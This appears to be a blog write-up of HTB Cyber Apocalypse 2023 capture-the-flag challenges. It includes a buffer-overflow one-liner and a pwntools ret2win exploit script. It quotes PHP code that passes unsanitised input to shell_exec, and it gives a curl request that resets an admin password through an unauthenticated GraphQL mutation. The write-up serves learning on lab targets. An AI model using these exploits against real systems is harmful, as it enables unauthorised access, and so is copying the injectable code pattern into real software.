Contents

HTB Cyber Apocalypse 2023 Writeups

Pwn


Initialise Connection

Summary

This challenge simply wants us to connect to the socket and send 1

Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
>>> nc 159.65.81.51 32100

▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣
▣                            ▣
▣  Enter 1 to get the flag!  ▣
▣                            ▣
▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣▣

>> 1
HTB{g3t_r34dy_f0r_s0m3_pwn}

Flag

HTB{g3t_r34dy_f0r_s0m3_pwn}


Getting Started

Summary

For this challenge we are given a binary and a template for an exploit script.

The binary gives us an explanation of the stack in a buffer overflow and wants us to overwrite some variable on the stack.

Solution

We can fill the buffer with:

1
python -c "print(b'A'*100)" | nc 139.59.176.230 31785 

This command runs a python line to print 100 A characters and pipes the output to the socket connection.

Flag

HTB{b0f_s33m5_3z_r1ght?}


Labyrinth

Summary

This challenge is a ret2win buffer overflow. Meaning we have a function that will print the flag but it is never called in the main function, so we have to overwrite the return pointer with the address of the win function to get the flag.

Solution

Opening the binary in ghidra we can see that the correct door is 69

1
2
3
4
5
  iVar1 = strncmp(16byte_heap_ptr,"69",2);
  if (iVar1 != 0) {
    iVar1 = strncmp(16byte_heap_ptr,"069",3);
    if (iVar1 != 0) goto fail;
  }

Then it takes another input using fgets() but does not do any checks and prints [-] YOU FAILED TO ESCAPE and exists. So obviously we are going to need to supply a payload to jumo to the escape_plan() function.

To find the offset I used a GDB with GEF to create a pattern of 100 bytes:

1
2
3
gef➤  pattern create 100
[+] Generating a pattern of 100 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa

Then I set a breakpoint at the return instruction of main:

1
2
3
4
5
6
7
8
9
gef➤  disas main
Dump of assembler code for function main:
   0x0000000000401405 <+0>:	push   rbp
   .
   .
   0x0000000000401602 <+509>:	ret
End of assembler dump.
gef➤  b *0x401602
Breakpoint 2 at 0x401602

Then I run the program and enter 69 to pass the first door, then enter the pattern and the program stops at our breakpoint. At the top of the stack we see the 8 bytes that are going to be loaded into rip when the return instruction is executed.

1
0x007fffffffe498│+0x0000: "haaaaaaaiaa"$rsp

We use GEF to find the offset:

1
2
3
gef➤  pattern search haaaaaaaiaa
[+] Searching for 'haaaaaaaiaa'
[+] Found at offset 56 (big-endian search)

The offset is 56. Now we can write an exploit to point the return to the address of escape_plan

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3
from pwn import *

# Set up pwntools for the correct architecture
context.update(arch='amd64', terminal=['alacritty', '-e', 'sh', '-c'])

exe_file = './labyrinth'

host = '165.232.108.240'
port = 30297

binary = ELF(exe_file, checksec=False)

def start(argv=[]):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe_file] + argv, gdbscript=gdbscript)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process([exe_file] + argv)


# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
'''

# ===========================================================
#                     EXPLOIT GOES HERE
# ===========================================================

p = start()

p.sendlineafter(b'>>', b'69')
p.sendlineafter(b'>>', (b'A' * 56) + p64(binary.sym.escape_plan + 1))
success('Flag: ' + p.recvline_contains(b'HTB{').decode())

/img/labyrinthflag.png

Flag

HTB{3sc4p3_fr0m_4b0v3}

Web

Trapped Source

Summary

Web challenge that is just locked keypad that needs a code to open.

/img/keypad.png

Solution

All we had to do here is hit ctrl+u to inspect the html source and there we find

1
correctPin: "8291",

We enter that code and we get the flag

Flag

HTB{V13w_50urc3_c4n_b3_u53ful!!!}


Gunhead

Summary

For this challenge we have a web interface for a robot along with the php source code used to build it. We find a command injection vulnerability in the ping command in the robots console.

Solution

We are given the source code for this php application, and if we inspect the code for the console tab for the robot, more specifically the ping function, we find that it calls shell_exec() without any sanitization which allows us to inject commands.

1
2
3
4
public function getOutput()
    {
        # Do I need to sanitize user input before passing it to shell_exec?
        return shell_exec('ping -c 3 '.$this->ip);

/img/commandinjection.png

Flag

HTB{4lw4y5_54n1t1z3_u53r_1nput!!!}


Passman

Summary

We are given a password manager app with the source code. The app uses graphql to handle data and we find a mutation UpdatePassword that does not check the session cookie to authenticate user and we can use it change the password of the admin user.

Solution

I actually forgot I have the source code for this challenge and I was inspecting the network requests with Burpsuite and I saw that it sends post requests to /graphql to fetch data. I then found out that you can dump the graphql schema using introspection. I know that graphql leaves authentication up to the developer to implement so I tried to change the admin password with my current user and it was successful. Here is the curl command to change the admin password:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
curl 'http://159.65.94.38:30254/graphql' \
  -H 'Accept: */*' \
  -H 'Accept-Language: en-US,en' \
  -H 'Connection: keep-alive' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InZ5bXZuIiwiaXNfYWRtaW4iOjAsImlhdCI6MTY3OTY4OTUyNn0.CMSI-yjJ6lFOL5ur0055kOmEIhZ03pQ2hyajVkOxBW4' \
  -H 'Sec-GPC: 1' \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36' \
  --data-raw $'{"query":"mutation($username: String\u0021, $password: String\u0021) { UpdatePassword(username: $username, password: $password) { message, token } }","variables":{"username":"admin","password":"b"}}' \
  --compressed \
  --insecure

It just sends a mutation query of type UpdatePassword and the user is admin and password is b.

And now we can login as admin and get the flag

/img/passmanflag.png

Flag

HTB{1d0r5_4r3_s1mpl3_4nd_1mp4ctful!!}